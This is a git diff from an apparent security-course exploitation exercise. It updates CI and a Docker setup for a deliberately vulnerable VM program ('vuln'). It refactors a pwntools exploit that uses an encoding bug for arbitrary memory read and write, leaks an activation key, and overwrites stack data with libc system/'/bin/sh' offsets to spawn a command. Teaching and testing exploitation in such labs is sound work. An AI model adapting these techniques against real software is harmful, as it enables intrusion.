diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 782c751..578f59c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -9,7 +9,7 @@ on: jobs: build: runs-on: ubuntu-latest - + name: Build vuln steps: - name: Checkout repository uses: actions/checkout@v3 @@ -22,7 +22,7 @@ jobs: make - name: Upload artifacts - uses: actions/upload-artifact@master + uses: actions/upload-artifact@v3 with: name: vuln-artifact path: build/vuln @@ -30,7 +30,7 @@ jobs: test: runs-on: ubuntu-latest - + name: Test correct program needs: build env: @@ -39,7 +39,7 @@ jobs: steps: - uses: actions/checkout@v3 - - uses: actions/download-artifact@master + - uses: actions/download-artifact@v3 name: Download build artifacts with: name: vuln-artifact @@ -51,26 +51,66 @@ jobs: tar -xf fnetd.tar.xz mkdir fnetd/build cd fnetd/build - cmake .. -G "Unix Makefiles" + cmake .. -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release make cd ../.. - name: Setup get_flag run: gcc tests/get_flag.c -o get_flag -O3 - - uses: JarvusInnovations/background-action@v1 + - uses: JarvusInnovations/background-action@v1.0.5 name: Start fnetd with: - run: |- + run: | chmod +x build/vuln - fnetd/build/fnetd -p 1337 -lt 2 -lm 536870912 "strace -f build/vuln" & + fnetd/build/fnetd -p 1337 -lt 2 -lm 536870912 build/vuln & tail: true wait-on: tcp:localhost:1337 - wait-for: 1m + wait-for: 10s - name: Setup python libs run: pip install -r tests/requirements.txt - - name: Tests - run: python -m unittest discover tests/ + - name: Run tests + # idk why we need to pipe the output to /dev/null here, but else the pipeline does not finish + run: python -m unittest discover tests/ &> /dev/null + + test_exploit: + runs-on: ubuntu-latest + name: Test exploit + needs: build + + env: + FNETD_PASSWORD: 1234 + RELEASE_PORT: 8080 + DEBUG_PORT: 8081 + + steps: + - uses: actions/checkout@v3 + + - uses: JarvusInnovations/background-action@v1 + name: Build docker container + with: + run: | + cp tests/Dockerfile . + sh -c "docker build --no-cache -t exploit_test --build-arg RELEASE_PORT=$RELEASE_PORT --build-arg DEBUG_PORT=$DEBUG_PORT --build-arg FNETD_PASSWORD=$FNETD_PASSWORD ." + sh -c "docker run -d -p $RELEASE_PORT:$RELEASE_PORT -p $DEBUG_PORT:$DEBUG_PORT --name exploit_test exploit_test" + + tail: true + wait-on: | + tcp:localhost:${{ env.DEBUG_PORT }} + tcp:localhost:${{ env.RELEASE_PORT }} + wait-for: 2m + + - name: Setup python libs + run: pip install -r tests/requirements.txt + + - name: Run exploit tests + # idk why we need to pipe the output to /dev/null here, but else the pipeline does not finish + run: | + python3 exploit/test_exploit.py -f activation_key.txt &> log.txt + cat log.txt + + - name: Stop docker + run: docker stop exploit_test \ No newline at end of file diff --git a/exploit/exploit.py b/exploit/exploit.py index 49adfd6..79546d0 100755 --- a/exploit/exploit.py +++ b/exploit/exploit.py @@ -52,6 +52,7 @@ class Register(IntEnum): INSTR_LEN = 8 +PORT = 1337 def instr_i(opcode, reg1, imm: int): @@ -78,6 +79,7 @@ def arbitrary_read(dst: Register, src: Register): # src needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the dst register bits return instr_r(Opcode.ADD, dst, src) + def arbitrary_write(dst: Register, src: Register): assert (src.has_highest_bit_set() and not dst.has_highest_bit_set()) # use bug to overflow into RM byte, so that it encodes register indirect addressing without offset @@ -85,8 +87,9 @@ def arbitrary_write(dst: Register, src: Register): # dst needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the src register bits return instr_r(Opcode.COPY, dst, src) -def connect(key: None | bytes = None, is_real_key: bool = False) -> pwnlib.tubes.remote.remote: - p = remote("localhost", 1337, fam="ipv4") + +def connect(key: None | bytes = None, is_real_key: bool = False, port: int = PORT) -> pwnlib.tubes.remote.remote: + p = remote("localhost", port, fam="ipv4") p.recvuntil(b"Password: ") p.sendline(b"1234") @@ -121,12 +124,15 @@ def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int: return exit_code -def extract_premium_key(): - offset_saved_rip_to_activation_key = 0x396d +def extract_premium_key(is_debug: bool = False, port: int = PORT): + if is_debug: + offset_saved_rip_to_activation_key = 0x396d # debug mode + else: + offset_saved_rip_to_activation_key = 0x2832 # release mode premium_key = b"" - p = connect(b"", False) + p = connect(b"", False, port) i = 0 while i < 0x80: # mov r8, rsp @@ -157,14 +163,18 @@ def extract_premium_key(): p.close() return premium_key -def get_flag(p: pwnlib.tubes.remote.remote): + +def get_flag(p: pwnlib.tubes.remote.remote, is_debug: bool = False): libc_base_offset = 0x23d0a libc_system_offset = 0x45e50 libc_bin_sh_offset = 0x195152 - rsp_libc_start_main_offset = 0x80 + if is_debug: + rsp_libc_start_main_offset = 0x80 # debug mode + else: + rsp_libc_start_main_offset = 0xa0 # release mode # mov r8, rsp program = load_rsp(Register.G) - # mov rcx, r8 (use Register.A in the commad because highest bit of register_id[r8] gets overflown) + # mov rcx, r8 (use Register.A in the command because highest bit of register_id[r8] gets overflown) program += instr_r(Opcode.ADD, Register.A, Register.G) # add rcx, rsp_libc_start_main_offset program += instr_i(Opcode.ADDI, Register.C, rsp_libc_start_main_offset) @@ -192,7 +202,7 @@ def get_flag(p: pwnlib.tubes.remote.remote): program += instr_r(Opcode.ADD, Register.A, Register.G) # mov [rcx], r10 program += arbitrary_write(Register.C, Register.I) - + log.info(p.recvuntil(b"should it bee?").decode()) len_msg = str(len(program) // INSTR_LEN) log.info(f"Sending: {len_msg}") @@ -201,12 +211,13 @@ def get_flag(p: pwnlib.tubes.remote.remote): log.info(f"Sending program: {str(program)}") p.send(program) p.sendline(b"/bin/get_flag") - print(p.recvregex(b'flag_[0-9a-f]{32}').decode()) - + return p.recvregex(b'flag_[0-9a-f]{32}').decode() -context.log_level = 'warn' -premium_key = extract_premium_key() +if __name__ == "__main__": + context.log_level = 'warn' -p = connect(premium_key, True) -get_flag(p) + premium_key = extract_premium_key(is_debug=True) + + p = connect(premium_key, True) + print(get_flag(p, is_debug=True)) diff --git a/exploit/test_exploit.py b/exploit/test_exploit.py new file mode 100755 index 0000000..886bb08 --- /dev/null +++ b/exploit/test_exploit.py @@ -0,0 +1,64 @@ +#! /usr/bin/env python3 +import exploit +import argparse +import unittest + +RELEASE_PORT = 8080 +DEBUG_PORT = 8081 + + +def __get_activation_key__() -> bytes: + global activation_key_file + assert (activation_key_file is not None) + with open(activation_key_file, "rb") as f: + data = f.read() + return data + + +class ExploitTest(unittest.TestCase): + + def __check_extract_activation_key__(self, is_debug: bool): + port = DEBUG_PORT if is_debug else RELEASE_PORT + key = exploit.extract_premium_key(is_debug, port) + self.assertEqual(key, __get_activation_key__()) + + def test_extract_activation_key_debug(self): + self.__check_extract_activation_key__(is_debug=True) + + def test_extract_activation_key_release(self): + self.__check_extract_activation_key__(is_debug=False) + + def __check_get_flag__(self, is_debug: bool): + port = DEBUG_PORT if is_debug else RELEASE_PORT + p = exploit.connect(__get_activation_key__(), True, port) + flag = exploit.get_flag(p, is_debug) + self.assertRegex(flag, "flag_[0-9a-f]{32}") + + def test_get_flag_debug(self): + self.__check_get_flag__(True) + + def test_get_flag_release(self): + self.__check_get_flag__(False) + + def __check_combined__(self, is_debug: bool): + port = DEBUG_PORT if is_debug else RELEASE_PORT + activation_key = exploit.extract_premium_key(is_debug, port) + p = exploit.connect(activation_key, True, port) + flag = exploit.get_flag(p, is_debug) + self.assertRegex(flag, "flag_[0-9a-f]{32}") + + def test_combined_debug(self): + self.__check_combined__(True) + + def test_combined_release(self): + self.__check_combined__(False) + + +if __name__ == "__main__": + global activation_key_file + arg_parser = argparse.ArgumentParser(prog="Exploit CI tester") + arg_parser.add_argument("-f", "--file", type=str, required=True, help="File containing the activation key.") + args = arg_parser.parse_args() + activation_key_file = args.file + + unittest.main(argv=[""]) diff --git a/tests/Dockerfile b/tests/Dockerfile new file mode 100644 index 0000000..9f28091 --- /dev/null +++ b/tests/Dockerfile @@ -0,0 +1,59 @@ +FROM debian:bullseye + +RUN apt update -y && apt upgrade -y && apt install -y build-essential wget cmake + +############### INSTALL FNETD +RUN wget https://cloud.sec.in.tum.de/index.php/s/n5cJnDqnnpSeEpd/download/fnetd.tar.xz -O /fnetd.tar.xz +RUN tar -xf fnetd.tar.xz +RUN mkdir /fnetd/build + +WORKDIR /fnetd/build +RUN cmake .. -G "Unix Makefiles" +RUN make + +WORKDIR / +############### END INSTALL + +## Add dummy get_flag +COPY tests/get_flag.c /bin/get_flag.c +RUN gcc -O3 /bin/get_flag.c -o /bin/get_flag +RUN rm /bin/get_flag.c + +## Use course libc +COPY tests/libc-2.31.so /lib/x86_64-linux-gnu/libc-2.31-bx.so +RUN ln -sf /lib/x86_64-linux-gnu/libc-2.31-bx.so /lib/x86_64-linux-gnu/libc.so.6 + +RUN useradd -m pwn + +COPY . /home/pwn/source + +# compile vuln in debug mode +RUN mkdir /home/pwn/debug +WORKDIR /home/pwn/debug +RUN cmake /home/pwn/source -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Debug +RUN make + +RUN mkdir /home/pwn/release +WORKDIR /home/pwn/release +RUN cmake /home/pwn/source -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release +RUN make + +RUN chown -R pwn:pwn /home/pwn + +ARG FNETD_PASSWORD +ENV FNETD_PASSWORD $FNETD_PASSWORD + +ARG RELEASE_PORT +ENV PORT_RELEASE $RELEASE_PORT + +ARG DEBUG_PORT +ENV PORT_DEBUG $DEBUG_PORT + +EXPOSE $DEBUG_PORT +EXPOSE $RELEASE_PORT + +WORKDIR /home/pwn +RUN cp /home/pwn/source/activation_key.txt activation_key.txt + + +ENTRYPOINT ["sh", "-c", "/fnetd/build/fnetd -p $PORT_DEBUG -u pwn -lt 2 -lm 536870912 /home/pwn/debug/vuln & /fnetd/build/fnetd -p $PORT_RELEASE -u pwn -lt 2 -lm 536870912 /home/pwn/release/vuln"] diff --git a/tests/libc-2.31.so b/tests/libc-2.31.so new file mode 100644 index 0000000..51c5692 Binary files /dev/null and b/tests/libc-2.31.so differ diff --git a/vuln.c b/vuln.c index 4e7b1dc..c6b8ba8 100644 --- a/vuln.c +++ b/vuln.c @@ -339,7 +339,10 @@ void check_premium() { exit(EXIT_FAILURE); } - read(secret_fd, activation_key, sizeof(activation_key)); + if (read(secret_fd, activation_key, sizeof(activation_key)) < 0) { + puts("Cannot read reference activation key."); + exit(EXIT_FAILURE); + } close(secret_fd); printf("Then please enter your activation key:");